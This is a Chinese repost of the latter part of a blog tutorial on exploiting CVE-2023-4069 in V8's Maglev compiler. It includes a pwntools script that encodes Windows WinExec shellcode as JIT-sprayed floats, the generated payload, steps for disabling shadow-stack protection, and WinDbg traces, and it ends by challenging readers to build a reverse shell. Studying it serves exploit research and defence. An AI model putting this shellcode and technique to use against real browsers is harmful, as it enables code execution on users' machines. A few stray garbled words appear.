const shellcode2 = () =>{return[1.9711828988902654e-246, 1.9711828988941678e-246, -6.82852703444537e-229];}%PrepareFunctionForOptimization(shellcode2);shellcode2();%OptimizeFunctionOnNextCall(shellcode2);shellcode2();%DebugPrint(shellcode2);

shellcode2 函数

与我们之前的代码片段唯一的区别是,该函数返回三个不同的浮点数,1.9711828988902654e-246, 1.9711828988941678e-246,-6.82852703444537e-229分别作为第一、第二和第三个值,而不是我们之前的 1.1、2.2 和 3.3。

第一个新的浮点数 __ 1.9711828988902654e-246是一个断点、五个 nops 和一个短跳转的十六进制表示。

cc              int     390              nop90              nop90              nop90              nop90              nopeb0c            jmp     

第一个浮点中的编码指令。

第二和第三个值只是第一个值的类似 int3/nop 迭代。

但是,我们如何提前知道哪条给定的汇编指令被映射到特定的浮点值?我们稍后会解决这个难题。现在,让我们假设我们已经成功地将我们的 shellcode 正确地转换为浮点数。

通过再次打开 d8 并将 WinDbg 连接到它,我们可以通过重复之前执行的步骤来检查shellcode2的结果代码部分。

一旦找到从代码对象开始的指令,我们就可以从中检查前 30 个 qword,类似于我们之前所做的。

0:020> u 00007ff6`e0044040 L30...00007ff6`e0044094 49bacc9090909090eb0c mov r10,0CEB9090909090CCh00007ff6`e004409e c4c1f96ec2      vmovq   xmm0,r1000007ff6`e00440a3 c5fb114107      vmovsd  qword ptr [rcx+7],xmm000007ff6`e00440a8 49bacccc90909090eb0c mov r10,0CEB90909090CCCCh00007ff6`e00440b2 c4c1f96ec2      vmovq   xmm0,r1000007ff6`e00440b7 c5fb11410f      vmovsd  qword ptr [rcx+0Fh],xmm000007ff6`e00440bc 49bacccc909090909090 mov r10,909090909090CCCCh

常规浮动移动说明

乍一看似乎没什么不同,但如果我们从 2 个字节的偏移量开始反汇编,会发生什么?

0:020> u 00007ff6`e0044094+2 00007ff6`e0044096 cc              int     300007ff6`e0044097 90              nop00007ff6`e0044098 90              nop00007ff6`e0044099 90              nop00007ff6`e004409a 90              nop00007ff6`e004409b 90              nop00007ff6`e004409c eb0c            jmp     00007ff6`e00440aa00007ff6`e004409e c4c1f96ec2      vmovq   xmm0,r10

简单的基于浮点的 Shellcode

是的,这就是我们的 shellcode,正如前面提到的,它以断点开始,后面跟着五个NOP和一个短跳转。最后的jmp允许我们跳过不需要的vmovq指令,从而允许执行继续到位于内存地址00007ff6e00440aa的下一个 shellcode 部分。

0:020> u 00007ff6`e00440aa00007ff6`e00440aa cc              int     300007ff6`e00440ab cc              int     300007ff6`e00440ac 90              nop00007ff6`e00440ad 90              nop00007ff6`e00440ae 90              nop00007ff6`e00440af 90              nop00007ff6`e00440b0 eb0c            jmp     00007ff6`e00440be

0:020> u 00007ff6`e00440be00007ff6`e00440be cc int 300007ff6`e00440bf cc int 300007ff6`e00440c0 90 nop00007ff6`e00440c1 90 nop00007ff6`e00440c2 90 nop00007ff6`e00440c3 90 nop00007ff6`e00440c4 90 nop00007ff6`e00440c5 90 nop

第二和第三个浮点数表示为指令

我们可以再次使用跳转技巧将所有剩余的 shellcode 块链接在一起。即使浮点值存储为 8 字节值,我们一次也只能编码 6 个字节。这是因为我们需要为每个 shellcode 段编写一个两字节的短跳转指令。

现在,问题仍然困扰着我们:如何将汇编 shellcode 转换为浮点 JavaScript payload?为了生成目标 JS shellcode,我们可以依靠将汇编指令转换为浮点值的 Python 脚本。我们将使用 pwntools 库 来处理生成汇编代码的繁重工作。

from pwn import *import struct

context(arch='amd64')jmp = b'xebx0c'

values = []

def make_double(code): assert len(code) <= 6 hex_value = hex(u64(code.ljust(6, b'x90') + jmp))[2:] double_value = struct.unpack('!d', bytes.fromhex(hex_value.rjust(16, '0')))[0] values.append(double_value)

make_double(asm("int3;"))# placeholder for more shellcode instructionscode = asm("int3;int3;")assert len(code) <= 8hex_value = hex(u64(code.ljust(8, b'x90')))[2:]double_value = struct.unpack('!d', bytes.fromhex(hex_value.rjust(16, '0')))[0]values.append(double_value)

js_function = f'''function func() {{ return [{', '.join(map(str, values))}];}}'''

print(js_function)

JS 浮点 Shellcode 生成器

此代码片段导入了必要的库并设置了生成 shellcode 的环境。它定义了一个函数 make_double(),该函数将 shellcode 汇编指令编码为双精度浮点数。

编码值存储在列表名称值中。最后,它生成一个 JavaScript 函数func(),该函数返回这些编码浮点数的数组,我们可以将其复制并粘贴到最终的漏洞利用中。

在设计出一种自动化 shellcode 生成的方法之后,我们现在需要创建一个特定于 Windows 的 shellcode,因为原始漏洞包含一个标准的 Linux execve shellcode。

由于我们使用喷射技术来传递有效载荷,出于稳定性和可靠性的原因,最好将其大小保持得相当简洁。为了这篇博文的目的,我们最好的办法是调用 WinExec 来生成一个计算器。

为了简化流程,我们将此步骤分为两部分。我们的 shellcode 的第一部分将重点定位 WinExec 函数的地址。第二部分将处理将“calc”字符串作为参数传递。

WinExe API 由 KERNEL32 DLL 导出,因此我们需要一种方法来定位 KERNEL32 的基地址。这可以通过解析进程环境块来实现。

进程环境块 ( PEB ) 是 Windows 用来存储进程信息的数据结构。在 PEB 结构中,有一个名为 Ldr (Loader) 的字段,它指向一个名为 InMemoryOrderModuleList 的已加载模块的链接列表 。此列表包含有关加载到进程地址空间中的模块 (DLL) 的信息,包括其基址、大小和其他属性。我们可以解析 InMemoryOrderModuleList以获取 KERNEL32 基址并将 WinExec 静态偏移量添加到其中。

让我们验证如何使用 shellcode 的第一部分来实现这一点。

make_double(asm("int3;add rbx,0x60;"))make_double(asm("mov r8,qword ptr gs:[rbx];"))    make_double(asm("mov rdi,qword ptr [r8+0x18];")) make_double(asm("mov rdi,qword ptr [rdi+0x30];"))make_double(asm("mov rdi,qword ptr [rdi];mov rdi,qword ptr [rdi];")) make_double(asm("mov rax,qword ptr [rdi+0x10];"))make_double(asm("add rax,0x686c0;"))              

定位 WinExec 位置的 Shellcode 部分

一开始,我们有一个软件断点指令(int3)用于调试目的。接下来,我们通过添加0x60来调整rbx寄存器。在距GS寄存器0x60的偏移量处,我们可以检索进程环境块(PEB)基址并将其存储在R8中。

在下一行中,我们取消引用 PEB 中偏移量为0x18 的地址,并将其存储在RDI中,代表 Ldr结构。为了从中检索 InMemoryOrderModuleList,在第 4 行,我们取消引用RDI中 偏移量为0x30的地址。

由于 KERNEL32 是内存中第三个加载的 DLL(在 V8.dll 和 NTDLL.dll 之后),我们需要对列表进行两次迭代。为此,在第 5 行和第 6 行,我们将两个 64 位值从内存加载到RDI寄存器中两次。最后,在PEB_LDR_DATA结构的 偏移量0x10处 ,我们找到了包含 KERNEL32 基址的DllBase成员。在最后一行,我们将硬编码的 WinExec 偏移量添加到 KERNEL32 基址。

现在我们已经检索到了 WinExec 的地址,我们需要一种方法来制作函数参数。通过查看 WinExec 函数原型,我们了解到第一个参数 (RCX) 是一个指向 aerrass 空终止字符串的指针,该字符串指定要执行的命令行字符串。第二个参数 (RDX) 是 uCmdShow。它将被设置为1以显示计算器窗口。这是完成讨论内容的 Python 脚本的第二部分。aaaassb

calc = u64(b'calcx00x00x00x00')...make_double(asm("push %d; pop rcx;" % (calc >> 0x20)))make_double(asm("push %d; pop rdx;" % (calc % 0x100000000)))make_double(asm("shl rcx, 0x20;"))make_double(asm("add rcx,rdx;xor rdx,rdx;"))make_double(asm("push rcx;"))make_double(asm("mov rcx,rsp;"))code = asm("inc rdx;call rax")

加载两个函数参数并调用 WinExec 的 Shellcode 部分

我们首先声明第一个参数,即以空字符结尾的 calc字符串变量,它是无符号的 64 位整数。在上面的汇编代码的第一行中,我们将 calc 变量的高 32 位推送到堆栈,然后将其弹出到 RCX 寄存器中。接下来,我们将 calc 的低 32 位加载到堆栈上,然后将其移动到 rdx 寄存器。接下来,在第三行,我们将 RCX 的内容左移 32 位,以正确定位 calc 的高位。然后在第四行,我们将 RCX 中 calc 的高位和低位相加,从而恢复calc字符串的原始状态。作为最后一条指令,我们清除 RDX 的值,该值稍后将变为1 。

然后,我们将存储在 RCX 中的字符串推送到堆栈,并将 RSP 取消引用到 RCX。这将设置第一个 WinExec 参数,即指向以空字符结尾的字符串的指针。最后,我们增加 RDX 中第二个函数参数的值,并调用 RAX 指向的函数,即我们之前存储的WinExec函数地址。

这是生成浮点 shellcode 的完整 Python 代码。

from pwn import *import struct

context(arch='amd64')jmp = b'xebx0c'calc = u64(b'calcx00x00x00x00')

values = []

def make_double(code): assert len(code) <= 6 hex_value = hex(u64(code.ljust(6, b'x90') + jmp))[2:] double_value = struct.unpack('!d', bytes.fromhex(hex_value.rjust(16, '0')))[0] values.append(double_value)

make_double(asm("int3;add rbx,0x60;"))make_double(asm("mov r8,qword ptr gs:[rbx];")) make_double(asm("mov rdi,qword ptr [r8+0x18];")) make_double(asm("mov rdi,qword ptr [rdi+0x30];"))make_double(asm("mov rdi,qword ptr [rdi];mov rdi,qword ptr [rdi];")) make_double(asm("mov rax,qword ptr [rdi+0x10];")) make_double(asm("add rax,0x686c0;"))

make_double(asm("push %d; pop rcx;" % (calc >> 0x20)))make_double(asm("push %d; pop rdx;" % (calc % 0x100000000)))make_double(asm("shl rcx, 0x20;"))make_double(asm("add rcx,rdx;xor rdx,rdx;"))make_double(asm("push rcx;"))make_double(asm("mov rcx,rsp;"))code = asm("inc rdx;call rax")assert len(code) <= 8hex_value = hex(u64(code.ljust(8, b'x90')))[2:]double_value = struct.unpack('!d', bytes.fromhex(hex_value.rjust(16, '0')))[0]values.append(double_value)

js_function = f'''function func() {{ return [{', '.join(map(str, values))}];}}'''

print(js_function)

最终的 Shellcode 生成器 Python 脚本

一旦转移到 Kali 机器并安装了所有 pwntools 先决条件,我们就可以按如下方式运行 shellcode 生成器脚本。

kali@kali:~$ python3 shellcodegen.py

function func() { return [1.9711307397450932e-246, 1.971182297804913e-246, 1.9711823870029425e-246, 1.971182489416965e-246, 1.9485505705182829e-246, 1.9711823520879356e-246, 1.93080727203784e-246, 1.9557721589530414e-246, 1.9560492656946336e-246, 1.9711824228538599e-246, 1.9895153914032175e-246, 1.9711823207355042e-246, 1.971182900238425e-246, -6.828932338446045e-229];}

运行 Shellcode 生成器脚本来生成 JS Payload

然后可以将生成的 Windows shellcode 粘贴到现有的漏洞利用程序中以替换 Linux 漏洞利用程序。

...var bigIntView = new BigInt64Array(view);

function func() { return [1.9711307397450932e-246, 1.971182297804913e-246, 1.9711823870029425e-246, 1.971182489416965e-246, 1.9485505705182829e-246, 1.9711823520879356e-246, 1.93080727203784e-246, 1.9557721589530414e-246, 1.9560492656946336e-246, 1.9711824228538599e-246, 1.9895153914032175e-246, 1.9711823207355042e-246, 1.971182900238425e-246, -6.828932338446045e-229];}

for (let i = 0; i < 1000; i++) func(0);...

在最终漏洞利用中插入新的有效载荷

由于最新的 d8 附带了新的硬件强制堆栈保护 编译器缓解措施,如果我们运行最终的漏洞利用程序,我们将会得到一个异常,因为缓解措施 尚未完全支持。

(4fcc.5aec): Security check failure or stack buffer overrun - code c0000409 (!!! second chance !!!)Subcode: 0x39 FAST_FAIL_CONTROL_INVALID_RETURN_ADDRESS Shadow stack violationd8!Builtins_InterpreterOnStackReplacement_ToBaseline+0x9d:00007ff6`7e96101d c3              ret

触发 Shadow Stack 违规

因此,为了调试我们的代码,我们需要确保 d8 可执行文件的英特尔 CET 缓解功能已被禁用。

我们可以在漏洞保护设置下执行此操作并指定 d8 位置的确切路径。

Chrome 漏洞利用简介 - Maglev 版

指定 d8 可执行文件的位置

然后我们点击“编辑”并覆盖默认设置,如下所示。

Chrome 漏洞利用简介 - Maglev 版

为 d8 可执行文件禁用影子堆栈缓解

当我们准备测试完整的漏洞利用时,我们可以从 Windbg 启动 d8 进程以及–maglev标志和 JavaScript 漏洞利用的路径。

Chrome 漏洞利用简介 - Maglev 版

调试漏洞利用的最终版本

一旦我们到达初始调试器默认断点,我们就可以恢复执行并到达第一个 shellcode 指令,也就是我们在最开始放置的 int3 断点。

(2eb8.155c0): Break instruction exception - code 80000003 (first chance)ntdll!LdrpDoDebuggerBreak+0x30:00007ff8`8eacb784 cc              int     30:000> gModLoad: 00007ff8`8d770000 00007ff8`8d7a1000   C:WINDOWSSystem32IMM32.DLLModLoad: 00007ff8`8c8f0000 00007ff8`8c9e3000   C:WINDOWSSystem32shcore.dllModLoad: 00007ff8`8c3e0000 00007ff8`8c45a000   C:WINDOWSSystem32bcryptPrimitives.dllModLoad: 00007ff8`8ae60000 00007ff8`8ae78000   C:WINDOWSSYSTEM32kernel.appcore.dllModLoad: 00007ff8`8b530000 00007ff8`8b53c000   C:WINDOWSSYSTEM32CRYPTBASE.DLL(2eb8.155c0): Break instruction exception - code 80000003 (first chance)00007ff6`e004d9c5 cc              int     3

命中第一个 Shellcode 指令

我们现在可以通过反汇编接下来的四条指令来验证将要执行的代码的内容。

0:000> u rip L400007ff6`e004d9c5 cc              int     300007ff6`e004d9c6 4883c360        add     rbx,60h00007ff6`e004d9ca 90              nop00007ff6`e004d9cb eb0c            jmp     00007ff6`e004d9d9

第一个 Shellcode 块

实际上,我们可以注意到它们与 Python 代码中的 shellcode 第一部分很相似。此外,我们可以观察到脚本用nop指令填充了空白,并正确插入了短跳转 eb0c,从而将执行转移到第二个块。

如果我们继续深入该函数,我们将到达获得PebLdr和InMemoryOrderModuleList链表的点。

...0:000> t...00007ff6`e004d9ed 498b7818        mov     rdi,qword ptr [r8+18h] ds:0000003e`34b74018={ntdll!PebLdr (00007ff8`8eb763e0)}0:000> 00007ff6`e004d9f1 90              nop0:000> 00007ff6`e004d9f2 90              nop0:000> 00007ff6`e004d9f3 eb0c            jmp     00007ff6`e004da010:000> 00007ff6`e004da01 488b7f30        mov     rdi,qword ptr [rdi+30h] ds:00007ff8`8eb76410=000001ef351328700:000> t00007ff6`e004da05 90              nop0:000> 00007ff6`e004da06 90              nop0:000> 00007ff6`e004da07 eb0c            jmp     00007ff6`e004da150:000> 00007ff6`e004da15 488b3f          mov     rdi,qword ptr [rdi] ds:000001ef`35132870=000001ef35137ee00:000> 00007ff6`e004da18 488b3f          mov     rdi,qword ptr [rdi] ds:000001ef`35137ee0=000001ef351379300:000> 00007ff6`e004da1b eb0c            jmp     00007ff6`e004da290:000> 00007ff6`e004da29 488b4710        mov     rax,qword ptr [rdi+10h] ds:000001ef`35137940={KERNEL32!Module32NextW <PERF> (KERNEL32+0x0) (00007ff8`8e040000)}

0:000> dq rdi 000001ef`35137930 000001ef`35139e70 000001ef`35137ee0000001ef`35137940 00007ff8`8e040000 00007ff8`8e0525e0

0:000> lm m kernel32Browse full module liststart end module name00007ff8`8e040000 00007ff8`8e104000 KERNEL32 (pdb symbols) C:ProgramDataDbgsymkernel32.pdbECF8474815CE300AEB3AD59F5913B35B1kernel32.pdb

验证 KERNEL32 基址

遍历链表两次后,我们可以取消引用并将距离 RDI 偏移量 0x10 的值保存到 RAX 中,该值即为 KERNEL32 的基地址。

从中,我们添加静态偏移量以收集 WinExec 内存地址。

00007ff6`e004da2d 90              nop0:000> 00007ff6`e004da2e 90              nop0:000> 00007ff6`e004da2f eb0c            jmp     00007ff6`e004da3d0:000> 00007ff6`e004da3d 4805c0860600    add     rax,686C0h0:000> 00007ff6`e004da43 eb0c            jmp     00007ff6`e004da51

0:000> u raxKERNEL32!WinExec:00007ff8`8e0a86c0 488bc4 mov rax,rsp00007ff8`8e0a86c3 48895810 mov qword ptr [rax+10h],rbx00007ff8`8e0a86c7 48897018 mov qword ptr [rax+18h],rsi00007ff8`8e0a86cb 48897820 mov qword ptr [rax+20h],rdi00007ff8`8e0a86cf 55 push rbp00007ff8`8e0a86d0 488d68c8 lea rbp,[rax-38h]00007ff8`8e0a86d4 4881ec30010000 sub rsp,130h00007ff8`8e0a86db 488b050e0b0500 mov rax,qword ptr [KERNEL32!_security_cookie (00007ff8`8e0f91f0)]

验证 KERNEL32 基址

一旦将偏移量添加到 RAX,我们就可以验证解析的地址是否与 WinExec 函数匹配。

注意:不建议使用静态偏移量来解析函数,因为偏移量可能会在未来版本甚至补丁版本中发生变化。虽然采用这种方法是为了简洁起见,但鼓励读者将现有的 shellcode 升级为与版本无关的 shellcode。

接下来,我们可以检查第一个 WinExec 参数的字符串是如何存储到 RCX 中的。

0:000> t00007ff6`e004da51 682e657865      push    6578652Eh0:000> 00007ff6`e004da56 59              pop     rcx0:000> 00007ff6`e004da57 eb0c            jmp     00007ff6`e004da650:000> 00007ff6`e004da65 6863616c63      push    636C6163h0:000> 00007ff6`e004da6a 5a              pop     rdx0:000> 00007ff6`e004da6b eb0c            jmp     00007ff6`e004da790:000> 00007ff6`e004da79 48c1e120        shl     rcx,20h0:000> 00007ff6`e004da7d 90              nop

0:000> .formats rcxEvaluate expression: Hex: 00000000`00000000 Decimal: 0 Decimal (unsigned) : 0 Octal: 0000000000000000000000 Binary: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 Chars: ........ Time: unavailable Float: low 0 high 0 Double: 0

检查第一个 WinExec 参数的高 32 位

一旦字符串的前 32 位部分弹出到 RCX(全为零),它就会向左移位 0x32 位。我们可以使用.formats rcx命令验证 RCS 中的字符值。

0:000> t00007ff6`e004da7e 90              nop0:000> 00007ff6`e004da7f eb0c            jmp     00007ff6`e004da8d0:000> 00007ff6`e004da8d 4801d1          add     rcx,rdx0:000> 00007ff6`e004da90 4831d2          xor     rdx,rdx



0:000> .formats rcxEvaluate expression: Hex: 00000000`636c6163 Decimal: 1668047203 Decimal (unsigned) : 1668047203 Octal: 0000000000014333060543 Binary: 00000000 00000000 00000000 00000000 01100011 01101100 01100001 01100011 Chars: ....clac Time: Thu Nov 10 03:26:43 2022 Float: low 4.36045e+021 high 0 Double: 8.24125e-315

检查第一个 WinExec 参数的低 32 位

现在,通过将 RDX 中的第二个 32 位添加到 RCX,整个字符串就完成了,我们可以注意到“calc”字符串是按相反顺序排列的。

现在我们必须将字符串推送到堆栈上,然后将堆栈指针地址移回 RCX,以便 RCX 存储字符串指针。之后我们将 RDX 设置为 1。

0:000> t00007ff6`e004daa1 51              push    rcx...0:000> 00007ff6`e004daa7 eb0c            jmp     00007ff6`e004dab50:000> 00007ff6`e004dab5 4889e1          mov     rcx,rsp...0:000> 00007ff6`e004dabb eb0c            jmp     00007ff6`e004dac9...0:000> 00007ff6`e004dac9 48ffc2          inc     rdx

将字符串指针存储到 RCX 中,并将 RDX 设置为 1

我们现在准备调用 WinExec 并进入它来验证两个函数参数。

0:000> 00007ff6`e004dacc ffd0            call    rax {KERNEL32!WinExec (00007ff8`8e0a86c0)}0:000> tBreakpoint 0 hitKERNEL32!WinExec:00007ff8`8e0a86c0 488bc4          mov     rax,rsp

0:000> db rcx L800000012`fb9fea50 63 61 6c 63 00 00 00 00 calc....

0:000> r rdxrdx=0000000000000001

调用 WinExec

RCX 中包含的内存地址对应于之前存储的字符串指针,而 RDX 保存预期值1。继续执行,会出现一个漂亮的计算器窗口,表明我们成功执行了 shellcode。

Chrome 漏洞利用简介 - Maglev 版

启动计算器

还要注意的是,即使我们使用了 JIT 喷射方法,该进程也会顺利终止。不过,这种情况可能并不总是发生,因为这取决于 V8 堆内存的设置方式以及其数据是否完好无损。

我们设法在系统上执行任意代码,因为 d8 进程旨在使用与其执行的 shell 相同的进程和权限运行。这是设计使然,因为 d8 是一个调试环境。在受影响的 Chrome 版本上运行相同的漏洞会导致失败,因为 Chrome 沙盒会阻止此类 API 调用。

在现实世界中,像我们在本博文中讨论的这样的漏洞需要额外的沙盒逃逸漏洞,并且需要与第一个漏洞链接在一起。

附录:与版本无关的 Shellcode

由于我对特定于版本的 shellcode 并不完全满意,因此出于演示目的,我决定付出额外的努力并重写 WinExec shellcode 以使其与版本无关。

这种 shellcoding 技术相当出名,主要涉及动态解析函数地址。下面是简要概述:

1.定位 Kernel32.dll:shellcode 首先找到 kernel32.dll 的基地址,其中包含许多基本 Windows 函数,包括 WinExec。这是通过引用进程环境块 (PEB) 来完成的,就像我们之前所做的那样。

2.导出目录表:为了查找函数地址,shellcode 使用 kernel32.dll 的导出目录表。该表包括:

  • 导出符号的数量

  • 函数地址数组的 RVA(相对虚拟地址)

  • 函数名称数组的 RVA

  • 函数序数数组的 RVA

3.解析函数:

  • 在 export-names 数组中搜索函数名称。

  • 在 export-ordinals 数组中找到相应的序数。

  • 使用序数从导出函数数组中获取函数的 RVA。

  • 通过添加 kernel32.dll 的基地址将 RVA 转换为完整地址。

4.哈希函数名称:该技术使用哈希函数将函数名称转换为 4 字节哈希值,从而使 shellcode 更高效、更小。

5.加载附加模块(可选):解析后LoadLibraryA,shellcode 可以加载其他模块并解析更多功能,使其能够执行广泛的任务。

由于此 shellcode 方法相当简单,因此其实现并不复杂。看来 JIT 函数代码的编译并不均匀,并且在 shellcode 大小达到约三分之一后引入了一些额外指令。浮点编码 shellcode 片段之间的这种不均匀距离需要两次不同的跳转:jmp 0xe用于较短的间隙和jmp 0x11较大的间隙。

除了控制流和分支之外,其余的 shellcode 基本上都是对原始方法的改编。由于 shellcode 分散在内存的不同块中,我不得不手动重写所有条件跳转和调用指令,而这些指令在简单而线性的 shellcode 中是没有问题的。

由于我们现在有一种动态解析函数的方法,因此读者面临的挑战是实现一个可以从 d8 进程生成的完整反向 shell。

此存储库中可以找到漏洞利用的代码以及特定于版本和通用的 shellcode 。

https://github.com/uf0o/exploit_dev/tree/main/browsers/v8/CVE-2023-4069

结论

我们在这篇博文中涵盖了很多内容,探讨了 Chromium 安全架构和 V8 管道等各种主题,重点介绍了 Maglev 编译器。我们还讨论了 CVE-2023-4069 的根本原因分析以及如何使用 JIT 喷射 shellcode 来利用它。

感谢您的坚持!希望您发现这些见解对您有所帮助。如果您发现任何错误或有其他信息,请随时与我们联系。我们随时欢迎您的反馈!

https://www.matteomalvica.com/blog/2024/06/05/intro-v8-exploitation-maglev/



感谢您抽出

Chrome 漏洞利用简介 - Maglev 版

.

Chrome 漏洞利用简介 - Maglev 版

.

Chrome 漏洞利用简介 - Maglev 版

来阅读本文

Chrome 漏洞利用简介 - Maglev 版

点它,分享点赞在看都在这里

原文始发于微信公众号(Ots安全):Chrome 漏洞利用简介 – Maglev 版

版权声明:admin 发表于 2024年8月29日 下午2:13。
转载请注明:Chrome 漏洞利用简介 – Maglev 版 | CTF导航

相关文章